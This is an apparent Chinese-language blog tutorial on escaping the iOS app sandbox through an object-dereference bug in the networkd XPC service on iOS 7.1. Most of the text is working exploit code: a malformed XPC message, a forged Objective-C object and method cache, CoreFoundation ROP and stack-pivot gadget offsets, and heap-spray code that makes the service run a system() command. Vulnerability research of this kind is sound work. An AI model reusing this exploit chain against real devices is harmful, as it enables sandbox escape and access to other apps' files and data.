iOS冰與火之歌–利用XPC過sandbox
0x00 序
冰指的是用戶態,火指的是內核態。如何突破像冰箱一樣的用戶態沙盒最終到達并控制如火焰一般燃燒的內核就是《iOS冰與火之歌》這一系列文章將要講述的內容。這次給大家帶來的是利用XPC突破app沙盒,并控制其他進程的pc(program counter)執行system指令。
《iOS冰與火之歌》系列的目錄如下:
- Objective-C Pwn and iOS arm64 ROP
- 在非越獄的iOS上進行App Hook(番外篇)
- App Hook答疑以及iOS 9砸殼(番外篇)
- 利用XPC過App沙盒
0x01 什么是XPC
在iOS上有很多IPC(內部進程通訊)的方法,最簡單最常見的IPC就是URL Schemes,也就是app之間互相調起并且傳送簡單字符的一種機制。比如我用 [[UIApplication sharedApplication] openURL:url] 這個api再配合" alipay:// ", “ wechat:// ”等url,就可以調起支付寶或者微信。
今天要講的XPC比URLScheme要稍微復雜一點。XPC也是iOS IPC的一種,通過XPC,app可以與一些系統服務進行通訊,并且這些系統服務一般都是在沙盒外的,如果我們可以通過IPC控制這些服務的話,也就成功的做到沙盒逃逸了。App在沙盒內可以通過XPC訪問的服務大概有三四十個,數量還是非常多的。
想要與這些XPC服務通訊我們需要創建一個XPC client,傳輸的內容要與XPC service接收的內容對應上,比如系統服務可能會開這樣一個XPC service:
- #!objc
- xpc_connection_t listener = xpc_connection_create_mach_service("com.apple.xpc.example",
- NULL, XPC_CONNECTION_MACH_SERVICE_LISTENER);
- xpc_connection_set_event_handler(listener, ^(xpc_object_t peer) {
- // Connection dispatch
- xpc_connection_set_event_handler(peer, ^(xpc_object_t event) {
- // Message dispatch
- xpc_type_t type = xpc_get_type(event);
- if (type == XPC_TYPE_DICTIONARY){
- //Message handler
- }
- });
- xpc_connection_resume(peer);
- });
- xpc_connection_resume(listener);
如果我們可以在沙盒內進行訪問的話,我們可以通過建立XPC的客戶端進行連接:
- #!objc
- xpc_connection_t client = xpc_connection_create_mach_service("com.apple.xpc.example",
- NULL, 0);
- xpc_connection_set_event_handler(client, ^(xpc_object_t event) {
- });
- xpc_connection_resume(client);
- xpc_object_t message = xpc_dictionary_create(NULL, NULL, 0);
- xpc_dictionary_set_uint64 (message, "value", 0);
- xpc_object_t reply = xpc_connection_send_message_with_reply_sync(client, message);
運行上述程序后,在server端那邊就可以收到client端的消息了。
我們知道,xpc傳輸的其實就是一段二進制數據。比如我們傳輸的xpc_dictionary是這樣的:
實際傳輸的數據確是這樣的(通過lldb,然后
- break set --name _xpc_serializer_get_dispatch_mach_msg
就可以看到):
可以看到這些傳輸的數據都經過序列化轉換成二進制data,然后等data傳遞到系統service的服務端以后,再通過反序列化函數還原回原始的數據。
我們知道正常安裝后的app是mobile權限,但是被sandbox限制在了一個狹小的空間里。如果系統服務在接收XPC消息的時候出現了問題,比如Object Dereference漏洞等,就可能讓client端控制server端的pc寄存器,從而利用rop執行任意指令。雖然大多數系統服務也是mobile權限,但是大多數系統服務并沒有被sandbox,因此就可以擁有讀取或修改大多數文件的權限或者是執行一些能夠訪問kernel的api從而觸發panic。
0x02 Com.apple.networkd Object Dereference漏洞分析
Com.apple.networkd 是一個app沙盒內可達的xpc系統服務。這個服務對應的binary是/usr/libexec/networkd。我們可以通過ps看到這個服務的權限是_networkd:
雖然沒有root權限,但是也幾乎可以做到沙盒外任意文件讀寫了。在iOS 8.1.3及之前版本,這個XPC系統服務存在Object Dereference漏洞,這個漏洞是由Google Project Zero的IanBeer發現的,但他給的poc只是Mac OS X上的,并且hardcode了很多地址。而本篇文章將以iphone 4s, arm32, 7.1.1為測試機,一步一步講解如何找到這些hardcode的地址和gadgets,并利用這個漏洞做到app的沙盒逃逸。
問題出在com.apple.networkd這個服務的 char *__fastcall sub_A878(int a1) 這個函數中,對傳入的” effective_audit_token ”這個值沒有做類型校驗,就直接當成xpc_data這種數據類型進行解析了:
然而如果我們傳過去的值并不是一個xpc_data,networkd也會當這個值是一個xpc_data,并傳給 _xpc_data_get_bytes_ptr() 來進行解析:
解析完成后,無論這個對象是否符合service程序的預期,程序都會調用 _dispatch_objc_release() 這個函數來release這個對象。因此,我們就想到了是否可以偽造一個objective-C的對象,同時將這個對象的release()函數給加入到cache里,這樣的話,在程序release這個對象的時候,就可以控制pc指針指向我們想要執行的ROP指令了。
是的,這個想法是可行的。首先我們要做的是根據數據傳輸的協議(通過反編譯networkd得到)構造相應的xpc數據:
- #!objc
- xpc_object_t dict = xpc_dictionary_create(NULL, NULL, 0);
- xpc_dictionary_set_uint64(dict, "type", 6);
- xpc_dictionary_set_uint64(dict, "connection_id", 1);
- xpc_object_t params = xpc_dictionary_create(NULL, NULL, 0);
- xpc_object_t conn_list = xpc_array_create(NULL, 0);
- xpc_object_t arr_dict = xpc_dictionary_create(NULL, NULL, 0);
- xpc_dictionary_set_string(arr_dict, "hostname", "example.com");
- xpc_array_append_value(conn_list, arr_dict);
- xpc_dictionary_set_value(params, "connection_entry_list", conn_list);
- uint32_t uuid[] = {0x0, 0x1fec000};
- xpc_dictionary_set_uuid(params, "effective_audit_token", (const unsigned char*)uuid);
- xpc_dictionary_set_uint64(params, "start", 0);
- xpc_dictionary_set_uint64(params, "duration", 0);
- xpc_dictionary_set_value(dict, "parameters", params);
- xpc_object_t state = xpc_dictionary_create(NULL, NULL, 0);
- xpc_dictionary_set_int64(state, "power_slot", 0);
- xpc_dictionary_set_value(dict, "state", state);
隨后我們可以使用 NSLog(@"%@",dict); 將我們構造好以后的xpc數據打印出來:
除了effective_audit_token以外的其他數據都是正常的。為了攻擊這個系統服務,我們把 effective_audit_token 的值用 xpc_dictionary_set_uuid 設置為 {0x0, 0x1fec000}; 。0x1fec000這個地址保存的將會是我們偽造的Objective-C對象。構造完xpc數據后,我們就可以將數據發送到networkd服務端觸發漏洞了。但如何構造一個偽造的ObjectC對象,以及如何將偽造的對象保存到這個地址呢?請繼續看下一章。
0x03 構造fake Objective-C對象以及Stack Pivot
首先我們需要通過偽造一個fake Objective-C對象和構造一個假的cache來控制pc指針。這個技術我們已經在《iOS冰與火之歌 – Objective-C Pwn and iOS arm64 ROP》中介紹了。簡單說一下思路:
第一步,我們需要找到selector在內存中的地址,這個問題可以使用 NSSelectorFromString() 這個系統自帶的API來解決,比如我們需要用到”release”這個selector的地址,就可以使用 NSSelectorFromString(@"release") 來獲取。
第二步,我們要構建一個假的receiver,假的receiver里有一個指向假的objc_class的指針,假的objc_class里又保存了假的cache_buckets的指針和mask。假的cache_buckets的指針最終指向我們將要偽造的selector和selector函數的地址。這個偽造的函數地址就是我們要執行的ROP鏈的起始地址。
最終代碼如下:
- #!objc
- hs->fake_objc_class_ptr = &hs->fake_objc_class;
- hs->fake_objc_class.cache_buckets_ptr = &hs->fake_cache_bucket;
- hs->fake_objc_class.cache_bucket_mask = 0;
- hs->fake_cache_bucket.cached_sel = (void*) NSSelectorFromString(@"release");
- hs->fake_cache_bucket.cached_function = start address of ROP chain
既然通過fake Objective-C對象,我們控制了xpc service的pc,我們就可以在sandbox外做些事情了。但因為DEP的關系,如果我們沒有給kernel打patch,我們并不能執行任意的shellcode。因此我們需要用ROP來達到我們的目的。雖然program image,library,堆和棧等都是隨機,但好消息是 dyld_shared_cache 這個共享緩存的地址開機后是固定的,并且每個進程的 dyld_shared_cache 都是相同的。這個 dyld_shared_cache 有好幾百M大,基本上可以滿足我們對gadgets的需求。因此我們只要在自己的進程獲取 dyld_shared_cache 的基址就能夠計算出目標進程gadgets的位置。
dyld_shared_cache 文件一般保存在/System/Library/Caches/com.apple.dyld/這個目錄下。我們下載下來以后,可以使用jtool將里面的dylib提取出來。比如我們想要提取CoreFoundation這個framework,就可以使用:
jtool -extract CoreFoundation ./dyld_shared_cache_armv7
隨后就可以用ROPgadget這個工具來搜索gadget了。如果是arm32位的話,記得加上thumb模式,不然默認是按照arm模式搜索的,gadget會少很多:
ROPgadget --binary ./dyld_shared_cache_armv7.CoreFoundation --rawArch=arm --rawMode=thumb
接下來我們需要找到一個用來做stack pivot的gadget,因為我們剛開始只控制了有限的幾個寄存器,并且棧指針指向的地址也不是我們可以控制的,如果我們想控制更多的寄存器并且持續控制pc的話,就需要使用stack pivot gadget將棧指針指向一段我們可以控制的內存地址,然后利用pop指令來控制更多的寄存器以及PC。另一點要注意的是,如果我們想使用thumb指令,就需要給跳轉地址1,因為arm CPU是通過最低位來判斷是thumb指令還是arm指令的。我們在iphone4s 7.1.2上找到的stack pivot gadgets如下:
- #!objc
- /*
- __text:2D3B7F78 MOV SP, R4
- __text:2D3B7F7A POP.W {R8,R10}
- __text:2D3B7F7E POP {R4-R7,PC}
- */
- hs->stack_pivot= CoreFoundation_base + 0x4f78 + 1;
- NSLog(@"hs->stack_pivot = 0x%08x", (uint32_t)(CoreFoundation_base + 0x4f78));
因為進行stack pivot需要控制r4寄存器,但最開始我們只能控制r0,因此我們先找一個gadget把r0的值賦給r4,然后再調用stack pivot gadget:
- #!objc
- /*
- 0x2dffc0ee: 0x4604 mov r4, r0
- 0x2dffc0f0: 0x6da1 ldr r1, [r4, #0x58]
- 0x2dffc0f2: 0xb129 cbz r1, 0x2dffc100 ; <+28>
- 0x2dffc0f4: 0x6ce0 ldr r0, [r4, #0x4c]
- 0x2dffc0f6: 0x4788 blx r1
- */
- hs->fake_cache_bucket.cached_function = CoreFoundation_base + 0x0009e0ee + 1; //fake_struct.stack_pivot_ptr
- NSLog(@"hs->fake_cache_bucket.cached_function = 0x%08x", (uint32_t)(CoreFoundation_base+0x0009e0ee));
經過stack pivot后,我們控制了棧和其他的寄存器,隨后我們就可以調用想要執行的函數了,比如說用system指令執行” touch /tmp/iceandfire ”。當然我們也需要找到相應的gadget,并且在棧上對應的正確地址上放入相應寄存器的值:
- #!objc
- // 0x00000000000d3842 : mov r0, r4 ; mov r1, r5 ; blx r6
- strcpy(hs->command, "touch /tmp/ iceandfire");
- hs->r4=(uint32_t)&hs->command;
- hs->r6=(void *)dlsym(RTLD_DEFAULT, "system");
- hs->pc = CoreFoundation_base+0xd3842+1;
- NSLog(@"hs->pc = 0x%08x", (uint32_t)(CoreFoundation_base+0xd3842));
最終我們偽造的Objective-C的結構體構造如下:
- #!objc
- struct heap_spray {
- void* fake_objc_class_ptr;
- uint32_t r10;
- uint32_t r4;
- uint32_t r5;
- uint32_t r6;
- uint32_t r7;
- uint32_t pc;
- uint8_t pad1[0x3c];
- uint32_t stack_pivot;
- struct fake_objc_class_t {
- char pad[0x8];
- void* cache_buckets_ptr;
- uint32_t cache_bucket_mask;
- } fake_objc_class;
- struct fake_cache_bucket_t {
- void* cached_sel;
- void* cached_function;
- } fake_cache_bucket;
- char command[1024];
- };
0x04 堆噴(Heap Spray)
雖然我們可以利用一個偽造的Objective-C對象來控制networkd。但是我們需要將這個對象保存在networkd的內存空間中才行,并且因為ASLR(地址隨機化)的原因,我們就算能把偽造的對象傳輸過去,也很難計算出這個對象在內存中的具體位置。那么應該怎么做呢?方法就是堆噴(Heap Spray)。雖然ASLR意味著每次啟動服務,program image,library,堆和棧等都是隨機。但實際上這個隨機并不是完全的隨機,只是在某個地址范圍內的隨機罷了。因此我們可以利用堆噴在內存中噴出一部分空間(盡可能的大,為了能覆蓋到隨機地址的范圍),然后在里面填充n個fake Object就可以了。
我進行漏洞測試的環境是,iPhone4s (arm 32位) 7.1.2,我們選擇了0x1fec000這個地址,因為經過多次堆噴測試,這個地址可以達到將近100%的噴中率。堆噴的代碼如下:
- #!objc
- void* heap_spray_target_addr = (void*)0x1fec000;
- struct heap_spray* hs = mmap(heap_spray_target_addr, 0x1000, 3, MAP_ANON|MAP_PRIVATE|MAP_FIXED, 0, 0);
- memset(hs, 0x00, 0x1000);
- size_t heap_spray_pages = 0x2000;
- size_t heap_spray_bytes = heap_spray_pages * 0x1000;
- char* heap_spray_copies = malloc(heap_spray_bytes);
- for (int i = 0; i < heap_spray_pages; i++){
- memcpy(heap_spray_copies+(i*0x1000), hs, 0x1000);
- }
- xpc_connection_t client = xpc_connection_create_mach_service("com.apple.networkd", NULL, XPC_CONNECTION_MACH_SERVICE_PRIVILEGED);
- xpc_connection_set_event_handler(client, ^void(xpc_object_t response) {
- xpc_type_t t = xpc_get_type(response);
- if (t == XPC_TYPE_ERROR){
- printf("err: %s\n", xpc_dictionary_get_string(response, XPC_ERROR_KEY_DESCRIPTION));
- }
- printf("received an event\n");
- });
- xpc_connection_resume(client);
- xpc_object_t dict = xpc_dictionary_create(NULL, NULL, 0);
- xpc_dictionary_set_data(dict, "heap_spray", heap_spray_copies, heap_spray_bytes);
- xpc_connection_send_message(client, dict);
隨后我們編譯執行我們的app,app會將fake ObjectiveC對象用堆噴的方式填充到networkd的內存中,隨后app會觸發object dereference漏洞來控制pc,隨后app會利用rop執行 system("touch /tmp/iceandfire") 指令。運行完app后,我們發現在/tmp/目錄下已經出現了iceandfire這個文件了,說明我們成功突破了沙盒并執行了system指令:
0x05 總結
這篇文章我們介紹了如何利用XPC突破沙盒,進行堆噴,控制系統服務的PC,并且利用ROP進行stack pivot,然后執行system指令。突破沙盒后,雖然不能安裝盜版的app,但一個app就可以隨心所欲的增刪改查其他app的文件和數據了,有種android上root的感覺。 雖然這個漏洞已經在8.1.3上修復了,但不代表以后不會出現類似的漏洞。比如我們發現的這個iOS 9.3 0day就可以輕松突破最新版的iOS沙盒獲取到其他app的文件